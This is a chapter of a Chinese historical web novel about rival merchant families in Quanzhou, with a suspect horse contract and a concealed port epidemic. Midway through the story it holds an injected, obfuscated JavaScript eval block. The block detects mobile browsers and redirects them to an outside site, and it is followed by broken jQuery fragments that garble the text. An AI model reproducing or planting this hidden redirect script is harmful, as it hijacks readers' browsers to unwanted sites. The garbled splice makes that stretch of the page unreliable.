次日晨,雨势未减,白茫茫一片笼着书斋。
许师孝早已醒了,或者说,一夜未安枕。
黄家的合约几度浮现在脑中,南洋硬黄纸,墨色沉黝,条款周正。
可末尾——却是一个朱红的花押和签名。
花押形状椭圆,似一枚压扁的枣核,纹路盘旋向内,像一只拢翅的蝉,这花押的图案就是旁边签名的变体,而签下的人名是——苏丹·玛拉。
一个男名。
这奇怪吗?
若放在闽粤沿海,在运河埠头,任何一个成年男子签下这样一份买卖牲口的契书,都不奇怪。
可偏偏,那里是米南加保。
米南加保是母系氏族。
“……我们的田、屋,随母亲血脉流传,祖传的宝物、还有那些跑马的‘阿旺’(所有权),在‘布杜’和最年长的‘依布’手里。卖一匹马,没有她们的手印,没有家族‘图阿’,就不能作数……”
照那位南洋马商的话,黄家这笔买卖放在苏门答腊,是断不能成立的。
单子有蹊跷。
更蹊跷的是,八闽商会的“保人”制度落成已有数十年。
此次作保,竟也没有请一些南洋跑船的人验看,以至于留下这么大的漏洞。
是无心之失,还是被人钻了空子?
许师孝深吸一口气,面色凝重。
黄李两家这场仗势必要打起来,等到许仲麟一到,局面不知乱成什么样。
要查明这些事,动作须快人一步。
她唤人将自己扶到窗边的书案前。
冷风,从窗隙钻入,拂过案上纸张。
许师孝思忖片刻,从笔架上取了一根紫毫。
她在泉州并非没有故旧。
早年与这里的几个大船主都有些交情,这些人大都也还在这个行当里。
但他们身处风口浪尖,关系又盘根错节,难保不将她的话透出去,尤其是透给泉州李家。
所以,要找人探查,还是得找一些从商会退下去、但仍在石湖城、祥芝、澳头几地跑船的老伙计。
思量再三,她拿定了主意,提笔蘸墨、落笔。
字迹力透纸背,清正刚劲,却因手上不稳,笔锋偶见凝滞。
正写到中段,门口传来脚步声,旋即,一股潮润清寒的风卷了进来。
侍从端着托盘进门,上面是清粥小菜并一碟细点,热气袅袅。
“六堂,可要即刻布菜?”
许师孝全神贯注,未曾抬头,只含糊应了一声,“先放着吧。”
她兀自落笔,只听那侍从放下托盘,但似乎并未退下,而是垂手立在一旁,气息落在侧面,存在感异样地强。
许师孝这才从信笺上移开目光,抬起眼。
这一眼,却让她心头猛地一撞。
李廷勘不知何时进来的,悄无声息,就坐在离书案不远的一张太师椅上。
他换了身佛头青的长袍,衬得人越发沉肃,脸上没什么表情,只一双眼睛,沉静无波地望着这边,望着她手下那封信。
许师孝目光一凛,将信纸缓缓拨到旁边,另一只手拿起案头一本翻旧了的《瀛涯胜览》,覆在了信笺上。
动作随意,似乎只是无心之举。
李廷勘的目光,随着那本书的落下,动了动。
他倒没理会,视线从被遮掩的信纸移到许师孝的脸上。
“写的什么?”他道。
许师孝避开他的注视:“没什么,难得来南安这边,一些旧识总要问候。”
她说着往椅背上一靠,看了眼墙角案几上的西洋钟,指针走动,泛起冷光。
竟然才辰时一刻。
她抬眼扫向他:“眼下这个情形,三爷也该避嫌。”
总往她这里凑,免不得教人以为,她同他是一伙的。
李廷勘闻言似是笑了,目光却锐利起来,“听六堂的话头,是打定了主意,要站在黄家人那边?”
许师孝沉吟片刻,这确实是她的打算:“黄家于我有恩义,我既在泉州,断不能袖手,三爷也不必在我这里用功。”
“有恩义”,说得倒是冠冕堂皇。
当他好糊弄么?
当年百戏宴上,几十个昆曲雅部、潮剧班子,一掷千金是为了谁?
从南洋、东洋搜寻奇花异木,不计成本地运回,在黄家会馆中辟土栽培,又是为了谁?
李廷勘深望了她一眼,眼底似有愠色翻涌,冷笑道:“你这些年养病,莫非把脑子养坏了?日复一日恬不知耻地贴上去,也不想想昨日,人家都已经把你摘出去了,你却还在这里好赖不分……”
许师孝沉默不言,这番话自是想挑动她与黄家结怨。
昨日黄祐常的话不好听,固然是事实,但他这个人说话一向难听,许师孝是知道的。
黄祐常是黄家二房唯一的孙子,自小要风得风、要雨得雨,说话没有忌讳,话出口了,他心里却未必是这么想的。
更何况黄老太爷病重,恐怕就是这一两年的事了,他心里烦,说话更难有什么分寸。
想到黄老太爷,许师孝眼眶忽热,心下一阵揪痛,这个老人家啊……
“想不想去南洋?”
十四岁的许师孝没听懂。
“船上还有空舱。”黄老太爷眉眼弯弯,下巴朝大船扬了扬,“跟我这糟老头子走一趟,认认那边的门路。”
许师孝耳朵里嗡的一声,像有海潮涌上。
她张着嘴,半天才说出一句:“我……我回去收拾东西。”
“去。”黄老爷子笑了,摆摆手,“船不等人,跑快些。”
她转身就跑。
大风扬沙,海潮似在脚下涌过。
跑回来时,她抬头望,离码头仅五十步之遥。
只见黄祐常站在船舱门口,手里攥着一把油纸伞,拖着步子走过去,把伞撑在老太爷头顶,“爷爷,此事不妥。”
黄老爷子转过头看他,“有何不妥?”
“我和她……还没有成亲。”
风声浩荡,许师孝的步子缓了下来。
对面也静了一息。
黄老爷子轻笑一声,声音悠扬:“祐常啊,成亲成亲,不是一定要做成亲家,才是亲。”
黄祐常愣住。
“只要两个人的心在一起,不成也亲。”黄老爷子望着海平面,语气温和,“许家姑娘想去南洋跑船,咱们帮她一把——这就是成全亲近之意。”
这趟去南洋的船,是许师孝第一次离开自家商路的远航。
也是这次,老爷子慷慨大方,毫无保留,领她结识了南洋大半的矿商,这才有了她后来拔地而起的海外货栈、七海钱庄。
许师孝忆起往昔,心中对黄祐常的那点怨气,又压了下去。
黄家对她有知遇之恩。
昔年想报答,却受制于商会。
想私下还这个人情,走南闯北又一直没有机会,如今自己沦落得一文不名,又怎能在他们伤处捅刀?
“你这个人一向爱装体面,我懂。”
李廷勘见她久久不接话,眉眼微抬,缓缓靠向椅背,话锋一转,“可当年,许六堂听了不相干的人几句话,就连夜对同宗同源的人动起手来,还真是——一点也不体面。”
“李三爷。”许师孝终于忍不住打断,猛地转头看他。
商会早已禁绝此故事,这也敢提,真是疯了……
李廷勘对上她凄厉的目光,扯出一丝冷笑,仿佛即刻就要撕破脸。
目光交织,雨声更急。
四下间一片嘈嘈切切,风声激荡,瓦屋欲震。
她深吸一口气,极力平复心绪,嗓音有些发涩:“过去的事,我已经答应了李二叔,绝不再提,也请你慎言。”
未待他接话,倏忽移开目光,看向一边大气不敢出的侍从,语气流露出一丝倦意:
“布菜吧,粥该凉了。”
侍从本就惴惴不安,得了吩咐,连忙上前,伸手要去端那碗粥。
“放着。”
李廷勘的声音蓦然响起,却比刚才低哑了些。
侍从的手僵在半空。
许师孝也看过来。
只见李廷勘站起身,缓缓走到了桌边。
他挽起袖口,舀了一勺冒着热气的粥,倾入空碗,又执箸拨了小撮清炒的菜,放在粥旁。
这动作有条不紊,甚至称得上细致。
触及禁忌,气氛如意料之中,缓和下来。
许师孝回过神后,只惊诧地看着他手下动作。
她记得这人原是有病的。
少爷病。
如今竟做起这些事来?
当真是时移世易了……
她搭在轮椅扶手上的手指,微微攥起,竟有些无所适从。
侍从见菜已布好,便将她的轮椅推到桌边。
许师孝沉着头,尽量不与之对视,拿起调羹时,语气仍透着一股子疏离:
“三爷如今身份不同,这般亲力亲为,真是要折煞人了。”
“不过眼下安平港封禁,泉州城中必定风声鹤唳,更有甚者会议论李家封港,是为逢迎朝廷的禁海之策,这会儿,稳住人心才是正理。到我这儿来……”她顿了顿,语义含糊,“岂非本末倒置?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240819|197726||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>李廷勘没有立刻接话,只拿起一旁的湿帕,慢条斯理地擦着手。
“封港的事,不急。”
“载着种马的船靠岸后第三天,就有脚夫身上不利索,李家已遣人去看过,那人高热,呕水,见红斑。大夫瞧了,虽未断言是南洋传过来的病,但也没人敢定夺。”
他将帕子丢回托盘。
“消息我一直让人压着,只说是寻常时气。”他扯了扯嘴角,语气平常,“若有不怕死的,尽管去港口走动。”
许师孝听到这里,眸光倏地一闪。
原来他打的是这个主意……
传讯海防道封港,却压住了“马疫”已成“人疫”的消息。
这是避免激起恐慌,但也在港口埋下一个大雷。
倘若黄家人、或是与李家做对的人利用“封港”一事大做文章,企图煽动众怒,李家即可翻出实据,将他们的所作所为,从“争利”变为“祸众”。
届时,李廷勘都无需亲自动手,官法民愤,皆成其刃。
不说海防道,恐怕整个泉州都要群起而攻之!
·
大雨潇潇而落。
许师孝站在望湖院门外,肩头的湿痕正一寸寸洇开。
门扉开阖,笑语先于人声漫出来,三四个人,褐色衣袍融在雨雾里。为首的是专管瓷器行的秦掌柜,后头跟着几个年轻的账房。
秦掌柜见她来了,神色不虞,铁定又是来找少东家的,真是不知检点,趁着自个儿病体未愈,死活赖在馆里不走,不就是想攀这门婚事么?
“哟,五娘子。”
他拱手,身子没弯。
“我还道今早喜鹊叫,原是贵客登门。怎的也不差人递个帖子?”
后头几个年轻账房交换了眼色。
许师孝念着李廷勘言外之意,撑着竹拐近前:“秦掌柜,我有要紧事需面见黄东主,烦请通禀一声。”
“五娘子,您这话可折煞我了。我是什么牌位上的人,也配替少东家拦客?”
他顿了顿,语气愈发温软,“只是东主今早出门前才交代过,闲杂人一概不见。您说这……我若去通禀,倒显得我秦某人不识趣;若不禀,又显得怠慢您。您是个通情达理的,教教我,这事该怎么回旋才好?”
许师孝接连被挡了几天,握着竹拐的手指紧了紧,掌心刺出一阵细微的痛,反倒让她凝住了一口气。
李廷勘那番筹谋,手段老辣,黄祐常初掌家事,未必应对得来。
先前在偏山堂,黄家已然落了下风,若这回她再不提醒几句,只怕后果不堪设想。
她将翻涌的杂念压下,平静道:“是封港的事,黄东主若不知晓,这一趟南洋船货——”
“是是是。”
秦掌柜连连点头,姿态放得极低。
“五娘子说得是,我们这些人,井底之蛙,能有多大见识?也就是每日对着账本子拨弄算盘,哪里懂得什么封港、南洋、大买卖。您虽然六年没碰这行当了,可毕竟当年是商会里议过事的人,眼界自然是不同的。”
他抬起头,一脸恳切。
许师孝一口气憋在心间,欲言又止。
忽听后头有人低声咕哝,像自言自语,又像说给同伴听:
“……其实五娘子不来,南洋那批货东家也有数的吧。她来不来,不都一样么。”
另一个声音更轻,几乎是气音:
“人家是怕咱们办砸了,特地来指点呢。”
前头那个笑起来,又压下去:
“那倒是。毕竟少东家今年才二十出头,论行商资历,可不比人家……”
许师孝知道这是说给自己听的,没有理会:“这件事耽搁不得。”
秦掌柜摇头笑道,“五娘子,不是我等失礼。听我一句劝,有些心思该收就收了,年纪越拖越大,于您名声也无益。少东家前程似锦,您又何苦……”
“住口!”
一声低喝从院内传来。
黄道贤沉着脸疾步跨出门槛,目光冷冷扫过秦掌柜几人。
那几人面面相觑,也便噤声。
他转向许师孝时,语气已然放缓:“六堂,您怎的到这儿来了?可是有何要事?”
许师孝看向那扇半掩的的门:“黄东主可在?”
黄道贤摇头:“少东家天未亮便出门,赴几位行老的约了,此刻并不在府中。您若有急事,不妨告知于我,待东主回来,我必当……”
“不用了。”
许师孝摇头,眼底有些疲惫,只看了眼后面悻悻作乐的人:“没什么事了。”
她深吸一口气,撑着拐杖一步一顿地走回去。